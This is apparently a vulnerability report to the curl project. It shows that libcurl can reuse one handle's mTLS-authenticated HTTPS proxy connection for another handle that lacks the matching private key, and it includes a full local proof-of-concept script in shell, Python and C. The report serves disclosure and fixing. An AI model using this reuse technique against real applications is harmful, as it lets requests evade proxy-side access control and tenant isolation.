curl · Report #3735180
HTTPS proxy connection reuse lets one easy handle inherit another handle's mTLS-authenticated proxy session
How it was found
Summary:
libcurl can reuse an already mTLS-authenticated HTTPS proxy TLS connection for a different easy handle even when that second handle does not have the proxy private key required to establish the session itself. The issue happens because the HTTPS proxy connection reuse identity does not include proxy client-auth fields such as CURLOPT_PROXY_SSLKEY, so a connection created under one handle's proxy identity can be silently reused by another handle sharing the same connection cache. In my validated PoC, handle A establishes the proxy TLS connection with the correct client key, handle B reuses that connection and successfully requests /secret without having the correct proxy private key, and the same request fails immediately when CURLOPT_FRESH_CONNECT is forced. This is not an undocumented API misuse case: shared connection caches are a documented libcurl feature and the multi interface shares the connection pool by default. The bug causes session and identity bleed across logical requests.
Affected version
Validated locally on:
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libpsl/0.21.2
Features included HTTPS-proxy.
Steps To Reproduce:
-
From the repository root, run the following self-contained script:
TMPDIR="$(mktemp -d)" trap 'rm -rf "$TMPDIR"' EXIT CERTDIR="$TMPDIR/certs" mkdir -p "$CERTDIR" cat >"$TMPDIR/server.py" <<'PY' #!/usr/bin/env python3 import socket import ssl import sys def recv_headers(sock, pending): while b"\r\n\r\n" not in pending: chunk = sock.recv(4096) if not chunk: raise EOFError pending += chunk head, pending = pending.split(b"\r\n\r\n", 1) return head, pending def main(): port = int(sys.argv[1]) cert = sys.argv[2] key = sys.argv[3] ca = sys.argv[4] ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(cert, key) ctx.load_verify_locations(cafile=ca) ctx.verify_mode = ssl.CERT_REQUIRED lsock = socket.socket() lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) lsock.bind(("127.0.0.1", port)) lsock.listen(5) print(f"LISTEN {lsock.getsockname()[1]}", flush=True) accepts = 0 while True: csock, addr = lsock.accept() accepts += 1 print(f"ACCEPT {accepts} {addr}", flush=True) try: ssock = ctx.wrap_socket(csock, server_side=True) except Exception as exc: print(f"HANDSHAKE_FAIL {exc!r}", flush=True) csock.close() continue subject = ssock.getpeercert().get("subject", ()) pending = b"" reqs = 0 ssock.settimeout(10) try: head, pending = recv_headers(ssock, pending) line = head.split(b"\r\n", 1)[0].decode("latin1") print(f"CONNECT {accepts} {line} subj={subject}", flush=True) ssock.sendall( b"HTTP/1.1 200 Connection established\r\n" b"Proxy-Agent: test\r\n\r\n" ) while True: head, pending = recv_headers(ssock, pending) line = head.split(b"\r\n", 1)[0].decode("latin1") reqs += 1 print(f"TUNNELREQ {accepts}.{reqs} {line}", flush=True) body = f"tunnel accept={accepts} req={reqs}\n".encode() response = ( b"HTTP/1.1 200 OK\r\n" + f"Content-Length: {len(body)}\r\n".encode() + b"Content-Type: text/plain\r\n" + b"Connection: keep-alive\r\n\r\n" + body ) ssock.sendall(response) except Exception as exc: print(f"CLOSE {accepts} {type(exc).__name__}", flush=True) finally: try: ssock.close() except Exception: pass if __name__ == "__main__": main() PY cat >"$TMPDIR/client.c" <<'EOF' #include <curl/curl.h> #include <stdio.h> #include <string.h> struct response { char data[4096]; size_t len; }; static size_t sink(char *ptr, size_t size, size_t nmemb, void *userdata) { struct response *resp = userdata; size_t total = size * nmemb; size_t avail = sizeof(resp->data) - resp->len - 1; if(total > avail) total = avail; memcpy(resp->data + resp->len, ptr, total); resp->len += total; resp->data[resp->len] = '\0'; return size * nmemb; } static CURLcode do_req(CURL *easy, const char *label, struct response *resp) { CURLcode rc; resp->len = 0; resp->data[0] = '\0'; fprintf(stderr, "\n== %s ==\n", label); rc = curl_easy_perform(easy); if(rc == CURLE_OK) { long code = 0; curl_easy_getinfo(easy, CURLINFO_RESPONSE_CODE, &code); fprintf(stderr, "%s: success http=%ld body=%s", label, code, resp->data); } else { fprintf(stderr, "%s: failed %d (%s)\n", label, (int)rc, curl_easy_strerror(rc)); } return rc; } static CURL *easy_init_common(CURLSH *share, const char *url, const char *proxy_url, const char *proxy_ca, const char *client_cert, const char *client_key, struct response *resp) { CURL *easy = curl_easy_init(); if(!easy) return NULL; curl_easy_setopt(easy, CURLOPT_SHARE, share); curl_easy_setopt(easy, CURLOPT_URL, url); curl_easy_setopt(easy, CURLOPT_PROXY, proxy_url); curl_easy_setopt(easy, CURLOPT_HTTPPROXYTUNNEL, 1L); curl_easy_setopt(easy, CURLOPT_PROXY_CAINFO, proxy_ca); curl_easy_setopt(easy, CURLOPT_PROXY_SSLCERT, client_cert); curl_easy_setopt(easy, CURLOPT_PROXY_SSLKEY, client_key); curl_easy_setopt(easy, CURLOPT_PROXY_SSL_VERIFYPEER, 1L); curl_easy_setopt(easy, CURLOPT_PROXY_SSL_VERIFYHOST, 2L); curl_easy_setopt(easy, CURLOPT_VERBOSE, 1L); curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, sink); curl_easy_setopt(easy, CURLOPT_WRITEDATA, resp); return easy; } int main(int argc, char **argv) { CURLcode rc = CURLE_OK; CURL *priv = NULL, *unpriv = NULL; CURLSH *share = NULL; struct response resp; char proxy_url[256]; if(argc != 6) return 2; snprintf(proxy_url, sizeof(proxy_url), "https://localhost:%s", argv[1]); curl_global_init(CURL_GLOBAL_DEFAULT); share = curl_share_init(); curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT); priv = easy_init_common(share, "http://example.com/bootstrap", proxy_url, argv[2], argv[3], argv[4], &resp); rc = do_req(priv, "priv_handle_req1_bootstrap", &resp); if(rc) goto out; unpriv = easy_init_common(share, "http://example.com/secret", proxy_url, argv[2], argv[3], argv[5], &resp); rc = do_req(unpriv, "unpriv_handle_req2_secret_reuse_allowed", &resp); if(rc) goto out; curl_easy_setopt(unpriv, CURLOPT_FRESH_CONNECT, 1L); rc = do_req(unpriv, "unpriv_handle_req3_secret_fresh_connect", &resp); out: if(unpriv) curl_easy_cleanup(unpriv); if(priv) curl_easy_cleanup(priv); if(share) curl_share_cleanup(share); curl_global_cleanup(); return (int)rc; } EOF cc "$TMPDIR/client.c" -o "$TMPDIR/client" -lcurl openssl req -x509 -newkey rsa:2048 -nodes \ -keyout "$CERTDIR/ca.key" -out "$CERTDIR/ca.crt" -days 1 \ -subj '/CN=proxy-reuse-ca' >/dev/null 2>&1 openssl req -newkey rsa:2048 -nodes \ -keyout "$CERTDIR/proxy.key" -out "$CERTDIR/proxy.csr" \ -subj '/CN=localhost' \ -addext 'subjectAltName=DNS:localhost,IP:127.0.0.1' >/dev/null 2>&1 openssl x509 -req -in "$CERTDIR/proxy.csr" -CA "$CERTDIR/ca.crt" \ -CAkey "$CERTDIR/ca.key" -CAcreateserial -out "$CERTDIR/proxy.crt" \ -days 1 -copy_extensions copy >/dev/null 2>&1 openssl req -newkey rsa:2048 -nodes \ -keyout "$CERTDIR/client.key" -out "$CERTDIR/client.csr" \ -subj '/CN=proxy-mtls-client' \ -addext 'extendedKeyUsage=clientAuth' >/dev/null 2>&1 openssl x509 -req -in "$CERTDIR/client.csr" -CA "$CERTDIR/ca.crt" \ -CAkey "$CERTDIR/ca.key" -CAcreateserial -out "$CERTDIR/client.crt" \ -days 1 -copy_extensions copy >/dev/null 2>&1 python3 -u "$TMPDIR/server.py" 0 "$CERTDIR/proxy.crt" "$CERTDIR/proxy.key" \ "$CERTDIR/ca.crt" >"$TMPDIR/server.log" 2>&1 & SERVER_PID=$! trap 'kill $SERVER_PID 2>/dev/null || true; rm -rf "$TMPDIR"' EXIT for _ in $(seq 1 50); do grep -q '^LISTEN ' "$TMPDIR/server.log" && break sleep 0.1 done PORT="$(awk '/^LISTEN / {print $2; exit}' "$TMPDIR/server.log")" "$TMPDIR/client" "$PORT" "$CERTDIR/ca.crt" "$CERTDIR/client.crt" \ "$CERTDIR/client.key" "$CERTDIR/proxy.key" >"$TMPDIR/client.log" 2>&1 || true cat "$TMPDIR/client.log" echo cat "$TMPDIR/server.log" -
The script automatically:
- creates a local CA, HTTPS proxy certificate, and proxy client certificate
- starts a local HTTPS proxy that requires client certificates
- creates a shared connection cache using
CURLSHOPT_SHAREwithCURL_LOCK_DATA_CONNECT - uses handle A with the correct proxy client certificate and private key to establish the authenticated HTTPS proxy TLS connection
- uses handle B with the same public certificate path but the wrong private key to request
/secret - retries handle B with
CURLOPT_FRESH_CONNECTas a control
-
Successful reproduction is shown by all of the following:
-
client log contains:
Reusing existing http: connection with proxy localhost -
proxy log shows:
TUNNELREQ 1.1 GET /bootstrap HTTP/1.1 TUNNELREQ 1.2 GET /secret HTTP/1.1proving that handle B's
/secretrequest ran on the same already-authenticated proxy TLS connection established by handle A -
the fresh-connect control fails with:
unable to set private key file: '.../proxy.key' type PEM
-
-
Relevant code paths:
- proxy reuse gate:
lib/url.c:856 - reuse matcher:
lib/vtls/vtls.c:194 - proxy client-auth fields populated in
ssl_config_data:lib/vtls/vtls.c:371 - only
proxy_ssl.primarycloned onto the reusable connection object:lib/vtls/vtls.c:405
- proxy reuse gate:
Impact
Summary:
An easy handle that does not possess the proxy private key can still send traffic through an already-authenticated HTTPS proxy TLS session created by another easy handle that shares the connection cache. In applications that use per-request or per-tenant proxy mTLS identities, this breaks logical isolation and can let a lower-privilege request inherit a higher-privilege proxy-authenticated channel. In practice, that can undermine proxy-side access control, egress policy separation, and auditing assumptions tied to the client certificate identity presented to the HTTPS proxy.